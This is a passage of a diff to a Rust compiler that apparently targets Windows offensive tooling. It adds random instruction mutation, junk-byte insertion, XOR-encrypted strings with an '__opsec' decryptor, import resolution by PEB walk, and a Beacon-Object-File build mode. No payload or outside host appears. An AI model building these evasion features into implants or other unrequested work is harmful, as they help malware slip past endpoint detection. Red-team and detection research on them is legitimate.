label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + return new_bytes.len(); + } + + let new_bytes = [0x48, 0x90, rex, 0x31, modrm]; + if label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + new_bytes.len() +} + + +fn try_expand_mov_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } + if op != 0x89 { return None; } // mov MR + if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11 + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // src_low3 is modrm.reg; dst_low3 is modrm.rm. + let src_lo3 = (modrm >> 3) & 7; + let dst_lo3 = modrm & 7; + // REX.R extends src; REX.B extends dst. + let src_ext = (rex & 0x04) != 0; + let dst_ext = (rex & 0x01) != 0; + + let dice = rng.range(20); + + // Variant A: keep original. + if dice < 6 { + return Some(3); + } + + if dice < 13 { + if label_inside(i, 3, label_positions) { return Some(3); } + let mut new_bytes: Vec = Vec::with_capacity(4); + // push src + if src_ext { new_bytes.push(0x41); } + new_bytes.push(0x50 | src_lo3); + // pop dst + if dst_ext { new_bytes.push(0x41); } + new_bytes.push(0x58 | dst_lo3); + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant C: keep + prepend REX.W nop (48 90). + if dice < 17 { + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [0x48, 0x90, rex, op, modrm]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant D: convert MR (89) to RM (8B) with swapped modrm. + // Same length, different bytes - a deep-style mirror of the + // shallow-pass MR/RM swap with deterministic firing. + if label_inside(i, 3, label_positions) { return Some(3); } + // For 8B (RM): modrm.reg = dst_low3, modrm.rm = src_low3. + // REX.R extends dst, REX.B extends src. + let new_rex = (rex & !0x05) + | (if dst_ext { 0x04 } else { 0 }) + | (if src_ext { 0x01 } else { 0 }); + let new_modrm = 0xC0 | (dst_lo3 << 3) | src_lo3; + let new_bytes = [new_rex, 0x8B, new_modrm]; + enc.splice(i, 3, &new_bytes); + Some(new_bytes.len()) +} + + +fn try_expand_test_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } + if op != 0x85 { return None; } // test /r + if (modrm & 0xC0) != 0xC0 { return None; } + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // self-test + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + let dice = rng.range(20); + + // Variant A: keep. + if dice < 8 { return Some(3); } + + // Variant B: cmp reg, 0 via 83 /7 imm8. + // Encoding: REX.W 83 modrm imm8 + if dice < 14 { + if label_inside(i, 3, label_positions) { return Some(3); } + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | (7 << 3) | dst_rm; + // REX.R must be clear for /7 sub-opcode (reg field is opcode extension). + let new_rex = rex & !0x04; + let new_bytes = [new_rex, 0x83, new_modrm, 0x00]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant C: or reg, reg via 09 /r (deep-style deterministic + // pick of one of the shallow same-length swap options). + // Encoding: REX.W 09 modrm + if dice < 18 { + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [rex, 0x09, modrm]; + enc.splice(i, 3, &new_bytes); + return Some(new_bytes.len()); + } + + // Variant D: keep + REX.W nop prefix. + if label_inside(i, 3, label_positions) { return Some(3); } + let new_bytes = [0x48, 0x90, rex, op, modrm]; + enc.splice(i, 3, &new_bytes); + Some(new_bytes.len()) +} + + +fn try_expand_mov_reg_imm64( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 10 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x06) != 0 { return None; } // R, X must be 0 + if (op & 0xF8) != 0xB8 { return None; } // B8+rd + if overlaps_reloc(i, 10, reloc_ranges) { return None; } + + // Read the imm64. + let mut imm: u64 = 0; + for k in 0..8 { + imm |= (enc.code[i + 2 + k] as u64) << (8 * k); + } + + let dice = rng.range(20); + + // Keep most of the time - this is a high-cost rewrite (no + // savings, just more instructions) so high firing rates bloat + // the binary without proportional value. + if dice < 14 { return Some(10); } + + // Pick a non-trivial 32-bit XOR key K (high bit clear so + // sign-extension keeps imm64's high bits intact). + let mut k = rng.next_u64() as u32; + k &= 0x7FFF_FFFF; + if k == 0 { k = 0x1234_5678; } + + let masked_imm: u64 = imm ^ (k as u64); + + let _ = (masked_imm, label_positions); + Some(10) +} + + +fn maybe_insert_junk( + enc: &mut Encoder, + rng: &mut Rng, + at: usize, + level: u8, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> usize { + if level == 0 { return 0; } + if at > enc.code.len() { return 0; } + + let threshold: u64 = match level { + 1 => 1, + 2 => 3, + 3 => 6, + 4 => 10, + _ => 15, + }; + if rng.range(20) >= threshold { return 0; } + + // Max junk bytes at this site, also scaled by level: + // level 1 -> 2, level 2 -> 3, level 3 -> 5, level 4 -> 7, level 5 -> 9 + let max_bytes: usize = match level { + 1 => 2, + 2 => 3, + 3 => 5, + 4 => 7, + _ => 9, + }; + + // The site at at is an instruction boundary by construction + // (we just consumed an expansion). Splicing in junk is safe as + // long as we don't overlap a reloc or land mid-label. + if overlaps_reloc(at, 0, reloc_ranges) { return 0; } + if label_positions.iter().any(|&p| p == at) { + // A label at at is fine - the splice shifts it forward + // alongside everything else, so the labelled instruction + // moves with the junk. No special case needed. + } + + // Build a junk staging buffer of random length 1..=max_bytes, + // composed of NOP_VARIANTS blocks of varying sizes. + let mut staging: Vec = Vec::with_capacity(max_bytes); + let want = 1 + (rng.range(max_bytes as u64) as usize); + while staging.len() < want { + let remaining = want - staging.len(); + let pick = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(pick as u64) as usize); + staging.extend_from_slice(NOP_VARIANTS[block - 1]); + } + // Splice the junk in. splice with old_len=0 inserts. + enc.splice(at, 0, &staging); + staging.len() +} + + +fn encrypt_rdata_data(enc: &mut Encoder, rng: &mut Rng) { + // Pick the key. + let mut key = [0u8; 8]; + for slot in key.iter_mut() { *slot = rng.next_u8(); } + // Avoid a key byte of 0x00 - XOR with zero is the identity, + // which would leak that byte verbatim. Replace with a random + // non-zero value. + for slot in key.iter_mut() { + if *slot == 0 { *slot = 1 + rng.next_u8().saturating_sub(1).max(1); } + } + + // Encrypt rdata. + for (i, b) in enc.rdata.iter_mut().enumerate() { + *b ^= key[i & 7]; + } + // Encrypt data (currently unused by codegen but reserved). + for (i, b) in enc.data.iter_mut().enumerate() { + *b ^= key[i & 7]; + } + + publish_xor_key(enc, &key); +} + +fn publish_xor_key(enc: &mut Encoder, key: &[u8; 8]) { + // __rdata_end marks the last byte to decrypt. Place it BEFORE + // appending the key. + enc.mark_rdata_position("__rdata_end"); + enc.add_rdata_raw_named("__opsec_xor_key", key); +} + + +/// Internal name the entry function uses to call the decryptor. +pub const DECRYPT_FN_LABEL: &str = "__opsec_decrypt_strings"; + +pub fn emit_decryptor(enc: &mut Encoder) { + let loop_label = "__opsec_dec_loop"; + let done_label = "__opsec_dec_done"; + + enc.place_code_label(DECRYPT_FN_LABEL); + + enc.push_r64(Reg64::Rax); + enc.push_r64(Reg64::Rbx); + enc.push_r64(Reg64::Rcx); + enc.push_r64(Reg64::Rdx); + enc.push_r64(Reg64::R8); + enc.push_r64(Reg64::R9); + + // rax = current rdata ptr, rcx = end ptr, rbx = key ptr. + enc.lea_r64_data(Reg64::Rax, "__rdata_start"); + enc.lea_r64_data(Reg64::Rcx, "__rdata_end"); + enc.lea_r64_data(Reg64::Rbx, "__opsec_xor_key"); + // rdx = 0 (key cursor). + enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx); + + enc.place_code_label(loop_label); + enc.cmp_r64_r64(Reg64::Rax, Reg64::Rcx); + enc.jcc_label(Cond::Ae, done_label); // rax >= rcx to done + + // r8b = key[rdx] + enc.movzx_r64_byte_base_idx(Reg64::R8, Reg64::Rbx, Reg64::Rdx); + // r9b = *rax + enc.movzx_r64_byte_r64disp(Reg64::R9, Reg64::Rax, 0); + // r9 ^= r8 + enc.xor_r64_r64(Reg64::R9, Reg64::R8); + // *rax = r9.low8 + enc.mov_byte_r64disp_r8(Reg64::Rax, 0, Reg64::R9); + + // Advance pointer + key index, wrap key at 8. + enc.add_r64_imm8(Reg64::Rax, 1); + enc.add_r64_imm8(Reg64::Rdx, 1); + enc.and_r64_imm8(Reg64::Rdx, 7); + + enc.jmp_label(loop_label); + + enc.place_code_label(done_label); + enc.pop_r64(Reg64::R9); + enc.pop_r64(Reg64::R8); + enc.pop_r64(Reg64::Rdx); + enc.pop_r64(Reg64::Rcx); + enc.pop_r64(Reg64::Rbx); + enc.pop_r64(Reg64::Rax); + enc.ret(); +} diff --git a/src/resolver.rs b/src/resolver.rs new file mode 100644 index 0000000..8bf4743 --- /dev/null +++ b/src/resolver.rs @@ -0,0 +1,378 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +// Baseline strings the resolver always needs. +const STR_KERNEL32: &str = "__rstr_kernel32"; +const STR_LOADLIBRARYA: &str = "__rstr_LoadLibraryA"; +const STR_GETPROCADDRESS: &str = "__rstr_GetProcAddress"; + +// Cached slots; shared.rs and friends can read these too. +pub const SLOT_LOADLIBRARYA: &str = "__rslot_LoadLibraryA"; +pub const SLOT_GETPROCADDRESS: &str = "__rslot_GetProcAddress"; +pub const SLOT_KERNEL32_BASE: &str = "__rslot_kernel32_base"; + +/// One Win32 import to resolve before main runs. +#[derive(Debug, Clone)] +pub struct Import { + /// DLL name with extension, e.g. "user32.dll". Case-insensitive match. + pub dll: String, + pub func: String, + /// Data label for the call [rip+slot] qword. + pub slot: String, +} + +/// Emit __resolve_imports + helpers, baseline strings, and cached slots. +pub fn emit(enc: &mut Encoder, imports: &[Import]) { + emit_baseline_strings_and_slots(enc); + emit_find_export(enc); + emit_resolve_imports(enc, imports); +} + +pub fn emit_with_user_resolver(enc: &mut Encoder, imports: &[Import], user_fn: &str) { + use Reg64::*; + enc.place_code_label("__resolve_imports"); + + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.sub_r64_imm32(Rsp, 0x28); + + for imp in imports { + let dll_label = dll_string_label(&imp.dll); + let fn_label = func_string_label(&imp.func); + if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); } + if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); } + + // Call user_fn. + enc.lea_r64_data(Rcx, &dll_label); + enc.lea_r64_data(Rdx, &fn_label); + enc.call_label(user_fn); + // Whatever they returned goes straight into the import slot - + // a function pointer for normal DLLs, or an SSN packed in the + // low 32 bits for ntdll exports when NtCall is also overridden. + enc.mov_data_r64(&imp.slot, Rax); + } + + enc.add_r64_imm32(Rsp, 0x28); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_baseline_strings_and_slots(enc: &mut Encoder) { + if !enc.data_has(STR_KERNEL32) { enc.add_string(STR_KERNEL32, "kernel32.dll"); } + if !enc.data_has(STR_LOADLIBRARYA) { enc.add_string(STR_LOADLIBRARYA, "LoadLibraryA"); } + if !enc.data_has(STR_GETPROCADDRESS) { enc.add_string(STR_GETPROCADDRESS, "GetProcAddress"); } + if !enc.data_has(SLOT_LOADLIBRARYA) { enc.add_bss(SLOT_LOADLIBRARYA, 8); } + if !enc.data_has(SLOT_GETPROCADDRESS) { enc.add_bss(SLOT_GETPROCADDRESS, 8); } + if !enc.data_has(SLOT_KERNEL32_BASE) { enc.add_bss(SLOT_KERNEL32_BASE, 8); } +} + +fn emit_find_export(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label("__find_export"); + + // Prologue: save the few callee-saves we use as work registers. + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.push_r64(Rbx); + enc.push_r64(Rsi); + enc.push_r64(Rdi); + + // rbx = module base (we'll lose rcx to inner strcmps), rdi = target name. + enc.mov_r64_r64(Rbx, Rcx); + enc.mov_r64_r64(Rdi, Rdx); + + // eax = [rbx + 0x3C] -- e_lfanew + enc.mov_r32_r64disp(Rax, Rbx, 0x3C); + // Export directory RVA = [rbx + e_lfanew + 0x88]. + // r8 = rbx + e_lfanew (PE header) + enc.lea_r64_base_idx(R8, Rbx, Rax); + // r9 = [r8 + 0x88] (Export RVA) + enc.mov_r32_r64disp(R9, R8, 0x88); + enc.test_r64_r64(R9, R9); + enc.jcc_label(Cond::Z, ".Lfe_notfound"); + + // r8 = ExportDirectory absolute = rbx + ExportRVA + enc.lea_r64_base_idx(R8, Rbx, R9); + + // r9 = NumberOfNames = [r8 + 0x18] + enc.mov_r32_r64disp(R9, R8, 0x18); + enc.test_r64_r64(R9, R9); + enc.jcc_label(Cond::Z, ".Lfe_notfound"); + + // r10 = AddressOfNames RVA = [r8 + 0x20]; then r10 = rbx + r10 + enc.mov_r32_r64disp(R10, R8, 0x20); + enc.lea_r64_base_idx(R10, Rbx, R10); + + // r11 = current index = 0 + enc.xor_r64_r64(R11, R11); + + // -- search loop ----------------------------------------------------- + enc.place_code_label(".Lfe_loop"); + enc.cmp_r64_r64(R11, R9); + enc.jcc_label(Cond::Ge, ".Lfe_notfound"); + + // rcx = name string ptr = rbx + [r10 + r11*4] + enc.mov_r32_base_idx_scale4(Rcx, R10, R11); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + + enc.mov_r64_r64(Rsi, Rcx); + enc.mov_r64_r64(Rax, Rdi); + + enc.place_code_label(".Lfe_cmpchar"); + enc.movzx_r64_byte_r64(Rcx, Rsi); + enc.movzx_r64_byte_r64(Rdx, Rax); + enc.cmp_r64_r64(Rcx, Rdx); + enc.jcc_label(Cond::Ne, ".Lfe_nextidx"); + enc.test_r64_r64(Rcx, Rcx); + enc.jcc_label(Cond::Z, ".Lfe_match"); + enc.inc_r64(Rsi); + enc.inc_r64(Rax); + enc.jmp_label(".Lfe_cmpchar"); + + enc.place_code_label(".Lfe_nextidx"); + enc.inc_r64(R11); + enc.jmp_label(".Lfe_loop"); + + // Match: r11 holds the matching index. Use ordinal table to get fn index, + // then function-RVA table to get the RVA, then add base. + enc.place_code_label(".Lfe_match"); + // rcx = AddressOfNameOrdinals RVA = [r8 + 0x24]; to rcx = rbx + rcx + enc.mov_r32_r64disp(Rcx, R8, 0x24); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + // rdx (function index) = movzx word [rcx + r11*2] + enc.movzx_r64_word_base_idx_scale2(Rdx, Rcx, R11); + + // rcx = AddressOfFunctions RVA = [r8 + 0x1C]; to rcx = rbx + rcx + enc.mov_r32_r64disp(Rcx, R8, 0x1C); + enc.lea_r64_base_idx(Rcx, Rbx, Rcx); + // rax = dword [rcx + rdx*4] + enc.mov_r32_base_idx_scale4(Rax, Rcx, Rdx); + // rax = rbx + rax + enc.lea_r64_base_idx(Rax, Rbx, Rax); + enc.jmp_label(".Lfe_done"); + + enc.place_code_label(".Lfe_notfound"); + enc.xor_r64_r64(Rax, Rax); + + enc.place_code_label(".Lfe_done"); + enc.pop_r64(Rdi); + enc.pop_r64(Rsi); + enc.pop_r64(Rbx); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_resolve_imports(enc: &mut Encoder, imports: &[Import]) { + use Reg64::*; + enc.place_code_label("__resolve_imports"); + + // Frame: 1 + 7 pushes is odd-aligned; sub 0x28 (32 shadow + 8 pad) + // restores 16-alignment for the LoadLibraryA call (otherwise ntdll's + // movaps in RtlDosApplyFileIsolationRedirection AVs). + enc.push_r64(Rbp); + enc.mov_r64_r64(Rbp, Rsp); + enc.push_r64(Rbx); + enc.push_r64(Rsi); + enc.push_r64(Rdi); + enc.push_r64(R12); + enc.push_r64(R13); + enc.push_r64(R14); + enc.push_r64(R15); + enc.sub_r64_imm32(Rsp, 0x28); + + // PEB walk for kernel32.dll. + enc.mov_rax_gs_qword(0x60); // rax = PEB + enc.mov_r64_r64disp(Rax, Rax, 0x18); // rax = PEB.Ldr + enc.lea_r64_r64disp(R12, Rax, 0x20); // r12 = &InMemoryOrderModuleList + enc.mov_r64_r64disp(Rbx, R12, 0); // rbx = head.Flink + + enc.place_code_label(".Lri_walk"); + enc.cmp_r64_r64(Rbx, R12); + enc.jcc_label(Cond::Eq, ".Lri_fail"); // wrapped without a hit + + // UTF-16 BaseDllName vs ASCII "kernel32.dll", case-insensitive. + enc.mov_r64_r64disp(R13, Rbx, 0x50); // r13 = Buffer + enc.movzx_r64_word_r64disp(R14, Rbx, 0x48); // r14 = Length (bytes) + enc.lea_r64_data(Rdi, STR_KERNEL32); + + emit_inline_unicode_ascii_ci_cmp(enc, Rdi, R13, R14); + // rax = 1 if matched, 0 otherwise. + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Nz, ".Lri_found_k32"); + + // next = current->Flink + enc.mov_r64_r64disp(Rbx, Rbx, 0); + enc.jmp_label(".Lri_walk"); + + enc.place_code_label(".Lri_found_k32"); + enc.mov_r64_r64disp(R15, Rbx, 0x20); // r15 = kernel32 DllBase + enc.mov_data_r64(SLOT_KERNEL32_BASE, R15); + + enc.mov_r64_r64(Rcx, R15); + enc.lea_r64_data(Rdx, STR_LOADLIBRARYA); + enc.call_label("__find_export"); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lri_fail"); + enc.mov_data_r64(SLOT_LOADLIBRARYA, Rax); + enc.mov_r64_r64(R13, Rax); // r13 = LoadLibraryA + + enc.mov_r64_r64(Rcx, R15); + enc.lea_r64_data(Rdx, STR_GETPROCADDRESS); + enc.call_label("__find_export"); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lri_fail"); + enc.mov_data_r64(SLOT_GETPROCADDRESS, Rax); + enc.mov_r64_r64(R14, Rax); // r14 = GetProcAddress + + // Per-import resolution. r13 = LoadLibraryA, r14 = GetProcAddress. + for (i, imp) in imports.iter().enumerate() { + let dll_label = dll_string_label(&imp.dll); + let fn_label = func_string_label(&imp.func); + let skip_label = format!(".Lri_skip_{i}"); + + if !enc.data_has(&dll_label) { enc.add_string(&dll_label, &imp.dll); } + if !enc.data_has(&fn_label) { enc.add_string(&fn_label, &imp.func); } + + // rcx = dll name; call LoadLibraryA + enc.lea_r64_data(Reg64::Rcx, &dll_label); + enc.call_r64(R13); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, &skip_label); + + // rcx = handle, rdx = fn name; call GetProcAddress + enc.mov_r64_r64(Rcx, Rax); + enc.lea_r64_data(Reg64::Rdx, &fn_label); + enc.call_r64(R14); + enc.mov_data_r64(&imp.slot, Rax); + + enc.place_code_label(&skip_label); + } + enc.jmp_label(".Lri_done"); + + // Failure path: unresolved slots stay at 0; an indirect call to + // them AVs cleanly. Skip the imports loop entirely. + enc.place_code_label(".Lri_fail"); + + enc.place_code_label(".Lri_done"); + enc.add_r64_imm32(Rsp, 0x28); + enc.pop_r64(R15); + enc.pop_r64(R14); + enc.pop_r64(R13); + enc.pop_r64(R12); + enc.pop_r64(Rdi); + enc.pop_r64(Rsi); + enc.pop_r64(Rbx); + enc.pop_r64(Rbp); + enc.ret(); +} + +fn emit_inline_unicode_ascii_ci_cmp( + enc: &mut Encoder, + ascii_ptr: Reg64, + wide_ptr: Reg64, + wide_len_bytes: Reg64, +) { + use Reg64::*; + // Move into a stable scratch set: rax=ascii ptr walker, rdx=wide ptr walker, + // rcx=remaining wide chars. + enc.mov_r64_r64(Rax, ascii_ptr); + enc.mov_r64_r64(Rdx, wide_ptr); + // rcx = wide_len_bytes / 2 -- shift right by 1 + enc.mov_r64_r64(Rcx, wide_len_bytes); + // sar/shr rcx, 1 - use raw bytes (REX.W D1 /5 = shr reg,1) + enc.emit_raw(0x48); enc.emit_raw(0xD1); enc.emit_raw(0xE9); + + let unique = next_label_id(); + let l_loop = format!(".Lci_loop_{unique}"); + let l_done_count = format!(".Lci_done_count_{unique}"); + let l_mismatch = format!(".Lci_mismatch_{unique}"); + let l_match = format!(".Lci_match_{unique}"); + let l_end = format!(".Lci_end_{unique}"); + + enc.place_code_label(&l_loop); + enc.test_r64_r64(Rcx, Rcx); + enc.jcc_label(Cond::Z, &l_done_count); + + // ASCII char (zero-extended) + enc.movzx_r64_byte_r64(R8, Rax); + enc.test_r64_r64(R8, R8); + enc.jcc_label(Cond::Z, &l_mismatch); // ASCII ended early -> length mismatch + + // Wide char low byte (we don't bother checking the high byte; for DLL + // names it's always 0). Same offset trick - read 16 bits via movzx word. + enc.movzx_r64_word_r64disp(R9, Rdx, 0); + + // Lowercase both: if in 'A'..'Z' add 32. + emit_to_lower(enc, R8); + emit_to_lower(enc, R9); + + enc.cmp_r64_r64(R8, R9); + enc.jcc_label(Cond::Ne, &l_mismatch); + + enc.inc_r64(Rax); + enc.add_r64_imm8(Rdx, 2); + enc.sub_r64_imm8(Rcx, 1); + enc.jmp_label(&l_loop); + + // Wide is exhausted; ASCII must also be at its NUL terminator. + enc.place_code_label(&l_done_count); + enc.movzx_r64_byte_r64(R8, Rax); + enc.test_r64_r64(R8, R8); + enc.jcc_label(Cond::Z, &l_match); + + enc.place_code_label(&l_mismatch); + enc.xor_r64_r64(Rax, Rax); + enc.jmp_label(&l_end); + + enc.place_code_label(&l_match); + enc.mov_r64_imm64(Rax, 1); + + enc.place_code_label(&l_end); +} + +/// Emit: if reg in 'A'..'Z' { reg += 32 } +fn emit_to_lower(enc: &mut Encoder, reg: Reg64) { + use Reg64::*; + let unique = next_label_id(); + let l_skip = format!(".Ltl_skip_{unique}"); + + enc.cmp_r64_imm32(reg, b'A' as i32); + enc.jcc_label(Cond::Lt, &l_skip); + enc.cmp_r64_imm32(reg, b'Z' as i32); + enc.jcc_label(Cond::Gt, &l_skip); + enc.add_r64_imm8(reg, 32); + enc.place_code_label(&l_skip); + let _ = Rax; // silence unused-import warning in this nested scope +} + +fn next_label_id() -> u64 { + use std::sync::atomic::{AtomicU64, Ordering}; + static N: AtomicU64 = AtomicU64::new(0); + N.fetch_add(1, Ordering::Relaxed) +} + +/// Stable label for the data section holding a DLL name string. We dedupe +/// per DLL so repeated imports from the same library share one string. +pub fn dll_string_label(dll: &str) -> String { + format!("__rstr_dll_{}", sanitize(dll)) +} + +/// Stable label for a function-name string. Function names are not unique +/// across DLLs in principle (think CreateProcessW in both kernel32 and +/// kernelbase), so the slot label is per (dll, func) - see [slot_label]. +pub fn func_string_label(func: &str) -> String { + format!("__rstr_fn_{}", sanitize(func)) +} + +/// Data-section label for the qword slot a call site dereferences. Encodes +/// both DLL and function name so different DLLs exporting the same name +/// don't collide. +pub fn slot_label(dll: &str, func: &str) -> String { + format!("FN_{}_{}", sanitize(dll), sanitize(func)) +} + +fn sanitize(s: &str) -> String { + s.chars() + .map(|c| if c.is_ascii_alphanumeric() || c == '_' { c } else { '_' }) + .collect() +} diff --git a/src/shared.rs b/src/shared.rs new file mode 100644 index 0000000..0d3da17 --- /dev/null +++ b/src/shared.rs @@ -0,0 +1,58 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; + +/// Data-section slot holding the host services table pointer (qword). +pub const SLOT_HOST_SERVICES: &str = "__host_services"; + +/// Code labels for the runtime helpers. +pub const FN_GET: &str = "__shared_get"; +pub const FN_PUT: &str = "__shared_put"; + +/// Byte offsets of each callable in the HostServices struct. +const OFF_GET: i32 = 0x00; +const OFF_PUT: i32 = 0x08; + +/// Emit the slot and helper bodies. Safe to call exactly once per binary. +pub fn emit_runtime(enc: &mut Encoder) { + if !enc.data_has(SLOT_HOST_SERVICES) { + enc.add_bss(SLOT_HOST_SERVICES, 8); + } + emit_get(enc); + emit_put(enc); +} + +/// __shared_get -> ptr. rcx = name; rax = host's return (or 0). +fn emit_get(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label(FN_GET); + enc.mov_r64_data(Rax, SLOT_HOST_SERVICES); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsg_nohost"); + enc.mov_r64_r64disp(Rax, Rax, OFF_GET); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsg_nohost"); + // Tail-call. rcx already holds name; caller reserved shadow space. + enc.jmp_r64(Rax); + + enc.place_code_label(".Lsg_nohost"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} + +/// __shared_put -> ok. rcx/rdx = name/ptr; rax = host's +/// return (0 if no host). +fn emit_put(enc: &mut Encoder) { + use Reg64::*; + enc.place_code_label(FN_PUT); + enc.mov_r64_data(Rax, SLOT_HOST_SERVICES); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsp_nohost"); + enc.mov_r64_r64disp(Rax, Rax, OFF_PUT); + enc.test_r64_r64(Rax, Rax); + enc.jcc_label(Cond::Z, ".Lsp_nohost"); + enc.jmp_r64(Rax); + + enc.place_code_label(".Lsp_nohost"); + enc.xor_r64_r64(Rax, Rax); + enc.ret(); +} diff --git a/src/typecheck.rs b/src/typecheck.rs new file mode 100644 index 0000000..828fb1e --- /dev/null +++ b/src/typecheck.rs @@ -0,0 +1,610 @@ + +use crate::ast::*; +use crate::codegen::BuildKind; +use std::collections::HashMap; + +pub fn check(prog: &Program) -> Result<(), Vec> { + check_with_kind(prog, BuildKind::Standard) +} + +pub fn check_with_kind(prog: &Program, kind: BuildKind) -> Result<(), Vec> { + let mut errs: Vec = Vec::new(); + let ctx = build_context(prog); + + let entry = kind.entry_name(); + let entry_fn = prog.functions.iter().find(|f| f.name == entry); + match (kind, entry_fn) { + (_, None) => errs.push(format!( + "error[T020]: missing entry point `{entry}` for --type={}", + match kind { + BuildKind::Standard => "standard", + BuildKind::Bof => "bof", + BuildKind::Coff => "coff", + } + )), + (BuildKind::Bof | BuildKind::Coff, Some(f)) => { + let ret_ok = matches!(f.ret_ty.as_str(), "void" | "" | "int"); + let arity_ok = f.params.len() == 2; + let args_ok = arity_ok + && (f.params[0].ty == "char*" || f.params[0].ty == "u8*" || f.params[0].ty == "void*") + && (f.params[1].ty == "int" || f.params[1].ty == "i32" || f.params[1].ty == "u32" || f.params[1].ty == "i64" || f.params[1].ty == "u64"); + if !(ret_ok && args_ok) { + errs.push(format!( + "error[T021]: BOF entry `go` must have signature \ + `fn go(args: char*, len: int) -> void` (got `fn {}({}) -> {}`)", + f.name, + f.params.iter() + .map(|p| format!("{}: {}", p.name, p.ty)) + .collect::>() + .join(", "), + if f.ret_ty.is_empty() { "void" } else { &f.ret_ty }, + )); + } + } + _ => {} + } + + for f in &prog.functions { + let mut scope = Scope::new(&ctx); + // Seed scope with parameter types so Var infers correctly. + for p in &f.params { + // Parameters are "declared" at the function header. We don't + // have a per-param span yet - Span::default (unknown) lets + // T010 still cite "(parameter)" if the user shadows one. + scope.locals.insert(p.name.clone(), (p.ty.clone(), Span::default())); + } + check_block(&f.body, &f.ret_ty, &f.name, &mut scope, &mut errs); + } + // Static initialisers run in main's prologue but are placed in module scope - + // walk them with an empty local scope so undefined Var references + // would surface as "unknown" types (silent today; future T-rule). + let mut empty = Scope::new(&ctx); + for s in &prog.statics { + if let Some(init) = &s.init { + check_expr(init, Span::default(), &mut empty, &mut errs); + // Treat the static as a top-level "var" for T003. + check_assignment_compat(&s.ty, init, &mut empty, + &format!("static `{}`", s.name), + Span::default(), &mut errs); + } + } + + if errs.is_empty() { Ok(()) } else { Err(errs) } +} + +// Context built once per program - function signatures, struct layouts. + +struct Context<'a> { + /// name -> (param types, return type) for every locally-defined fn. + fns: HashMap, + /// name -> declared field list for every struct (in declaration order). + structs: HashMap, + /// name -> declared type for every module-level static. + statics: HashMap, +} + +fn build_context(prog: &Program) -> Context<'_> { + let mut fns = HashMap::with_capacity(prog.functions.len()); + for f in &prog.functions { + fns.insert(f.name.clone(), (f.params.as_slice(), f.ret_ty.clone())); + } + let mut structs = HashMap::with_capacity(prog.structs.len()); + for s in &prog.structs { + structs.entry(s.name.clone()).or_insert(s.fields.as_slice()); + } + let mut statics = HashMap::with_capacity(prog.statics.len()); + for s in &prog.statics { + statics.entry(s.name.clone()).or_insert(s.ty.clone()); + } + Context { fns, structs, statics } +} + +// Walking scope for local-variable type tracking. + +struct Scope<'a> { + ctx: &'a Context<'a>, + locals: HashMap, +} + +impl<'a> Scope<'a> { + fn new(ctx: &'a Context<'a>) -> Self { Self { ctx, locals: HashMap::new() } } + + /// Look up a name's declared type. Searches locals first, then module + /// statics, then declared functions (as first-class code pointers). + /// Returns None when the name is unbound - that's T012. + fn lookup_type(&self, name: &str) -> Option<&str> { + self.locals.get(name).map(|(t, _)| t.as_str()) + .or_else(|| self.ctx.statics.get(name).map(String::as_str)) + .or_else(|| if self.ctx.fns.contains_key(name) { Some("u64") } else { None }) + } +} + +// Statement walker. + +fn check_block(stmts: &[Stmt], ret_ty: &str, fn_name: &str, + scope: &mut Scope, errs: &mut Vec) { + let mut unreachable_reported = false; // one T011 per block, not per dead stmt + let mut after_terminator = false; + for s in stmts { + if after_terminator && !unreachable_reported { + let span = stmt_span(s); + errs.push(format!( + "error[T011] at {span}: 